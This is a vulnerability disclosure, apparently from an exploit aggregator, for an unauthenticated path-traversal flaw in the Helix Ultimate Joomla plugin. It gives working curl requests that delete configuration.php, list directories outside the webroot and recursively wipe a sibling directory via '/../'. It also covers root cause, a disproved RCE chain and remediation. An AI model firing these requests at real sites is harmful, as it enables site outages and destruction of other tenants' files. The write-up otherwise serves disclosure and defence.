## https://sploitus.com/exploit?id=00E2547B-9396-59DF-8964-AFE1F15EB6A3
# Helix Ultimate Framework โ Unauthenticated Path-Traversal Arbitrary File/Folder Read+Delete
**This is a confirmed DoS + cross-tenant filesystem access vulnerability, NOT RCE.** An RCE-escalation theory
(delete `configuration.php` to re-expose the Joomla installer) was tested live and disproved โ see "RCE
escalation โ tested and disproved" below. Do not represent this as RCE in any report without re-deriving a real
chain first.
**Severity upgrade (2026-07-06, second pass):** the `path` parameter is NOT safely contained to the Joomla
webroot as first assessed โ Joomla's `PATH` input filter does not block a single `/../` traversal component, so
this bug reaches (read: full directory listing; write: delete file or recursively wipe folder contents)
**anything on the filesystem the web server user can access, not just files inside the Joomla install**. On
any shared-hosting layout where multiple sites/tenants live as sibling directories under the same OS user
(extremely common: cPanel "addon domains", Plesk subscriptions sharing a system user, most budget hosting), a
single Helix-Ultimate-powered site lets an anonymous visitor destroy every *other* site on the same account.
See "Path traversal escapes JPATH_ROOT entirely" below for the live proof.
**Component:** JoomShaper Helix Ultimate Framework (`plg_system_helixultimate`), bundled with virtually every JoomShaper Joomla template (Helix Ultimate based).
**Version tested:** 2.2.6 (GitHub `JoomShaper/helix-ultimate`, HEAD as of 2026-07, last push 2026-06-30)
**Author:** Amin ฤฐsayev / Proxima Cyber Security
---
## Summary
`plugins/system/helixultimate/src/Platform/Media.php` exposes `deleteMedia()`, `getFolders()` and `createFolder()`
through the Joomla `com_ajax` dispatch hook in `helixultimate.php::onAfterRoute()`. These three methods only call
`Session::checkToken()` (a plain CSRF check, satisfied by any anonymous visitor's own session token โ harvestable
from the site's homepage HTML) โ **no `authorise()` / login check at all**. This is inconsistent with the sibling
method `uploadMedia()` in the same class, which correctly requires `core.edit` on `com_templates`.
Because this is a **system plugin**, `onAfterRoute()` fires on every request regardless of which template is
currently active โ the vulnerable code path is reachable as long as the plugin is installed and enabled (which it
is, by default, on any site using a Helix-Ultimate-based JoomShaper template).
## Root cause
`plugins/system/helixultimate/helixultimate.php` (~line 464-489):
```php
if ($this->app->isClient('site'))
{
$option = $this->app->input->get('option', '', 'STRING');
$helix = $this->app->input->get('helix', '', 'STRING');
$request = $this->app->input->get('request', '', 'STRING');
$action = $this->app->input->get('action', '', 'STRING');
if ($option === 'com_ajax' && $helix === 'ultimate' && $request === 'task' && $action !== '')
{
switch ($action)
{
case 'upload-blog-image': Blog::upload_image(); break; // has core.create/com_media check
case 'remove-blog-image': Blog::remove_image(); break; // has core.delete/com_media check
case 'view-media': Media::getFolders(); break; // NO authorise() check
case 'delete-media': Media::deleteMedia(); break; // NO authorise() check
case 'upload-media': Media::uploadMedia(); break; // has core.edit/com_templates check
}
}
}
```
`plugins/system/helixultimate/src/Platform/Media.php`:
```php
public static function deleteMedia()
{
$output['message'] = Text::_('JINVALID_TOKEN');
Session::checkToken() or die(json_encode($output)); // โ only CSRF, no authorise()
$path = $input->post->get('path', '/images', 'PATH');
$type = $input->post->get('type', 'file', 'STRING');
if ($type === 'file') { File::delete(JPATH_ROOT . '/' . $path); }
else { Folder::delete(JPATH_ROOT . '/' . $path); } // recursive
}
```
`$path` goes through Joomla's `PATH` input filter (`InputFilter::cleanPath()`). Two independent things make this
dangerous:
1. **No traversal is even needed** to reach anything *inside* the webroot โ `path` is resolved directly under
`JPATH_ROOT`, so any absolute-from-root path (`/configuration.php`, `/administrator/...`, `/media/...`) is
already reachable.
2. **Traversal above the webroot also works.** `cleanPath()`'s regex
(`^[A-Za-z0-9_\/-]+[A-Za-z0-9_\.-]*([\\\\\/]+[A-Za-z0-9_-]+[A-Za-z0-9_\.-]*)*$`) allows exactly one run of
dot/hyphen/alnum characters positioned right after the leading `[A-Za-z0-9_/-]+` chunk โ and a leading `/`
alone satisfies that leading chunk, so a string like `/../sibling_dir` matches cleanly: `/` (chunk 1), `..`
(the permitted dotty run), `/sibling_dir` (a normal trailing segment). The filter was written to reject a
segment that *starts* a new `/โฆ` component with a dot, but never anticipated one single `..` sitting directly
after the string's very first character. Chaining `../../..` does NOT survive (every subsequent `/โฆ` segment
after the first dotty run must start with a non-dot character) โ so the escape is capped at exactly **one**
directory level above `JPATH_ROOT`, but everything below that level (arbitrary depth) is then reachable
normally, since further segments are just ordinary non-dot path components.
## Impact
- **Unauthenticated deletion of any single file** under the Joomla webroot โ trivially `configuration.php` โ
instant, total site outage ("No configuration" fatal error), one HTTP request, zero authentication.
- **Unauthenticated recursive deletion of any folder** (`type=folder`) โ e.g. `/administrator`, `/components`,
`/media` โ far more destructive, effectively destroys the install.
- **Unauthenticated information disclosure** via `view-media` (`Media::getFolders()`): lists all image files,
all subfolder names, and absolute server paths under any root-relative path, no auth required (used below as
the *safe* detection signal).
- **Escapes the webroot entirely (one level up, then unlimited depth from there)** โ reaches sibling directories
of the Joomla install. On shared hosting where multiple sites share one OS user (cPanel addon domains, Plesk
subscriptions, etc.), an anonymous visitor to *one* Helix-Ultimate site can enumerate and wipe files belonging
to *every other* site under that same account. This turns a single-site bug into a whole-server-account
blast radius.
- No RCE escalation was found โ see below.
## Live verification (2026-07-06)
Tested against a disposable Docker instance (Joomla 5.4.6 + Helix Ultimate plugin 2.2.6, fresh install, fully
anonymous browser session โ no login, no cookie other than the one Joomla hands out to every visitor):
```
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
--data-urlencode "path=/configuration.php" \
--data-urlencode "type=file" \
--data-urlencode "=1"
{"status":true, ...}
$ curl http://TARGET/
"No configuration file found and no directory was found for installation."
```
## Path traversal escapes JPATH_ROOT entirely โ live proof (2026-07-06)
Created a sibling directory to the Joomla webroot (`/var/www/canary_sibling`, sibling of `/var/www/html`),
owned by the same user as the web server (`www-data`) to mirror a realistic shared-hosting layout, populated
with a file, an image, and a subdirectory:
```bash
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=view-media" \
--data-urlencode "path=/../canary_sibling" \
--data-urlencode "=1"
{"status":true, "path":"/../canary_sibling",
"images":["/var/www/html/../canary_sibling/proof.png"],
"folders":["subdir"], ...}
```
Full read/enumeration of a directory completely **outside** the Joomla install, including resolved absolute
server paths, with zero authentication.
```bash
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
--data-urlencode "path=/../canary_sibling" \
--data-urlencode "type=folder" \
--data-urlencode "=1"
```
Result: every file inside `canary_sibling` (the plain file, the image, and the subdirectory) was deleted. Only
the now-empty top-level `canary_sibling` folder itself survived, and only because in this lab it sat directly
under `/var/www`, owned by `root` โ removing the empty directory entry requires write permission on *its*
parent, which `www-data` doesn't have on `/var/www`. On a real shared-hosting layout (e.g.
`/home/user/domains/siteA.com/public_html` and `/home/user/domains/siteB.com/public_html` as true siblings,
both owned end-to-end by the same account user), that last barrier does not exist and the sibling site's entire
directory tree is removable.
## RCE escalation โ tested and disproved (2026-07-06)
The obvious next theory was: on a site where `installation/` was never removed after setup, deleting
`configuration.php` would make the installer wizard reachable again, letting an attacker complete it and create
a new Super User. **This was tested directly in the lab and does not hold up:**
1. The `installation/` folder was copied back into the webroot (simulating a site that forgot to remove it) โ
`configuration.php` was still present and valid at this point.
2. Result: Joomla's own core bootstrap (before any plugin, including the vulnerable one, ever runs) immediately
started issuing `302 Found -> /installation/index.php` for **every single request**, including the exploit's
own POST to `option=com_ajax&helix=ultimate&...&action=delete-media`. The vulnerable code path never executes
in this state โ Joomla core short-circuits everything first.
3. Consequence: the two states don't chain.
- If `installation/` **is present**: the site is already completely open to takeover for *any* visitor,
independent of this vulnerability entirely โ that's a pre-existing, unrelated Joomla misconfiguration, not
something this bug causes or is needed for.
- If `installation/` **is absent** (the normal, secure state): this vulnerability can only *delete* files, it
cannot *create* the `installation/` folder back โ there is no way to re-expose the installer from a
delete-only primitive.
**Conclusion: no combination of states turns this into RCE.** The confirmed, honest impact ceiling is
unauthenticated, unconditional, guaranteed full-site DoS (plus the unauthenticated info-disclosure noted above).
That is already a Critical-severity finding on its own merits and does not need an inflated RCE claim.
## Correction: `createFolder()` is NOT unauthenticated-reachable (earlier draft was wrong)
An earlier version of this write-up claimed `Media::createFolder()` was also reachable unauthenticated (as a
third primitive alongside delete/read). That was incorrect and has been corrected after a full pass over the
plugin's dispatch wiring:
- `createFolder()`, and the real file-content-write sinks in the codebase (`Request.php`: `fwrite()`,
`File::write()` for template style/webfonts/CSS-cache files), all live in
`plugins/system/helixultimate/src/Platform/Request.php`, dispatched only via
`Platform::handleRequests() app->isClient('administrator')`, and `onAfterRoute()` separately
redirects any non-logged-in visitor away before that point. This path is genuinely admin-authenticated โ
confirmed by reading the exact gate condition, not just the absence of an `authorise()` call inside the method
itself (unlike the site-side `deleteMedia()`/`getFolders()`, which truly have zero gate).
- The frontend (`isClient('site')`) switch in `onAfterRoute()` only wires up five actions:
`upload-blog-image`, `remove-blog-image`, `view-media` (`Media::getFolders`), `delete-media`
(`Media::deleteMedia`), `upload-media` (`Media::uploadMedia`, which does check `core.edit`/`com_templates`).
`create-folder` is not among them.
**Confirmed unauthenticated capability set, final: delete (file or recursive folder) + read (folder/image
listing) only. No unauthenticated content-write primitive exists anywhere in this plugin.** This is precisely
why no RCE chain was found even after specifically hunting for one โ RCE fundamentally needs a write primitive,
and this bug class doesn't have one.
## Detection PoC โ `helix_ultimate_detect.py`
Non-destructive. Uses `action=view-media` (folder/file listing) as the proof signal โ never deletes anything.
## Exploit / DoS PoC โ `helix_ultimate_delete_poc.py` (name kept for continuity; confirms DoS only)
Destructive. Requires explicit `--delete ` to touch anything. The `--rce` flag deletes
`configuration.php` and probes `/installation/` purely to *check* whether that folder happens to already be
present (in which case the site was independently wide open regardless of this bug) โ it does not represent a
real escalation caused by this vulnerability; see "RCE escalation โ tested and disproved" above. Use only with
written authorization.
## Remediation
Two independent fixes are needed, either one alone would already stop this:
1. Add the same authorization check `uploadMedia()` already has to `deleteMedia()` and `getFolders()` in
`src/Platform/Media.php` โ at minimum `core.edit`/`core.delete` on `com_templates` (or `com_media`, matching
`Blog::remove_image()`'s pattern), before doing any filesystem operation.
2. Independently of auth, validate that the resolved path is actually contained within `JPATH_ROOT` before
touching the filesystem โ e.g. `realpath(JPATH_ROOT . '/' . $path)` and confirm the result's prefix equals
`realpath(JPATH_ROOT)` โ the same containment check the `com_sppagebuilder` patch draft in
`sppagebuilder_rce_patch.php` already uses for an unrelated bug (see `CVE-2026-48909/sppage/`). Joomla's
`PATH` input filter is not a substitute for this โ it was never designed as a containment guarantee, only as
a loose "looks like a path" character-class check.
---
*Amin ฤฐsayev / Proxima Cyber Security โ 2026. Educational / authorized-testing use only.*